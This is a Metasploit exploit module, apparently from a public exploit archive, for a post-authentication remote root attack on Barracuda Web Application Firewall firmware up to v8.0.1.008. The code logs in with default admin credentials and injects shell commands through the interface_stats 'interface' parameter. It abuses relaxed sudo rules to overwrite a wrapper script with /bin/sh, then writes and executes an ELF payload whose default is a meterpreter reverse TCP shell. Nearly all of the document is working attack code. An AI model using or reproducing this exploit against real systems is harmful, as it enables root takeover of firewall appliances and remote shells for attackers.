# Exploit Title: Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Remote Root Exploit
# Date: 07/28/16
# Exploit Author: xort xort@blacksecurity.org
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/webapplicationfirewall
# Version: Web App Firewall Firmware <= 8.0.1.008 (2016-03-22)
# Tested on: Web App Firewall Firmware <= v8.0.1.008 (2016-03-22)
# CVE : None.

# vuln: interface_stats

require 'msf/core'
require 'date'
require "base64"

class MetasploitModule < Msf::Exploit::Remote
	Rank = ExcellentRanking
	include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Root Exploit',
			'Description'    => %q{
					This module exploits a remote command execution vulnerability in the Barracuda Web
					Application Firweall firmware versions <= v8.0.1.008 (2016-03-22) by exploiting a
					vulnerability in the web administration interface. By sending a specially crafted
					request it's possible to inject system commands while escalating to root do to relaxed 
					sudo configuration on the local machine.
			},	
			'Author'         => [ 'xort' ], # disclosure and exploit module
			'References'     => [ [ 'none', 'none'] ],
			'Platform'       => [ 'linux'],
			'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
			'Targets' => [['Web Application Firewall <= v8.0.1.008 (2016-03-22)', {}]],
			'DefaultTarget'  => 0 ))

			register_options(
				[
					OptString.new('PASSWORD', [ false, 'Password', "admin" ]),	
			         	OptString.new('USERNAME', [ true, 'Admin Username', "admin" ]),	
					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
					Opt::RPORT(8000),
				], self.class)
	end

	def do_login(username, password_clear, et)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;
                enc_key = Rex::Text.rand_text_hex(32)

                # send request
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
                      'headers' =>
                        {
                                'Accept' => "application/json, text/javascript, */*; q=0.01",
                                'Content-Type' => "application/x-www-form-urlencoded",
                                'X-Requested-With' => "XMLHttpRequest"
                        },
                      'vars_post' =>
                        { 

                          'enc_key' => enc_key,
                          'et' => et,
                          'user' => "admin", # username,
                          'password' => "admin", # password_clear,
                          'enctype' => "none",
                          'password_entry' => "",
                          'login_page' => "1",
                          'login_state' => "out",
                          'real_user' => "",
                          'locale' => "en_US",
                          'form' => "f",
                          'Submit' => "Sign in",
                        }
                }, timeout)

                # get rid of first yank
                password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
                et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]

                return password, et
        end

	def run_command(username, password, et, cmd)

                # file to replace
                sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"

		sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}" 
		sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c " 

		vprint_status( "Running Command...\n" )

                # random filename to dump too + 'tmp' HAS to be here.
                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))

                # decoder stubs - tells 'base64' command to decode and dump data to temp file
                b64decode1 = "echo \""
                b64decode2 = "\" | base64 -d >" + b64dumpfile

                # base64 - encode with base64 so we can send special chars and multiple lines
		cmd = Base64.strict_encode64(cmd) 

                # Create injection string. 
                #      a) package the  base64 decoder with encoded bytes
                #      b) attach a chmod +x request to make the script created (b64dumpfile) executable
                #      c) execute decoded base64 dumpfile

                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile

#                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile 
	
		vprint_status( "sending..." )
	        res = send_request_cgi({
         	   'method' => 'GET',
	           'uri'    => "/cgi-mod/index.cgi",
		   'headers' => 
			{
				'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
			},
		    'vars_get' => {
			'ajax_action' => 'interface_stats',
            		'user' => username,
	     		'password' => password, 
            		'et' => et,
			'locale' => 'en_US',
			'realm' => '',
            		'auth_type' => 'Local',
            		'primary_tab' => 'BASIC',
            		'secondary_type' => 'status',

            		'interface' => 'eth0' + '| ' + injection_string + ' |echo ' # vuln
        		}
	        })	

	end

	def exploit

		# params
		timeout = 1550;

                real_user = "";
		et = Time.now.to_i  
		user = datastore['USERNAME']
		password = datastore['PASSWORD']

		# do login and get password hash
		password_hash, et = do_login(user, password, et)
		vprint_status("got password hash: #{password_hash}\n")
		sleep(2)
	
                #if no 'CMD' string - add code for root shell
		if not datastore['CMD'].nil? and not datastore['CMD'].empty?

			cmd = datastore['CMD']	
			
			# Encode cmd payload	
			encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') 

			# kill stale calls to bdump from previous exploit calls for re-use
			run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
		else	
			# Encode payload to ELF file for deployment	
			elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
	        	encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') 

			# kill stale calls to bdump from previous exploit calls for re-use
			run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
		
			handler
		end
	end
end
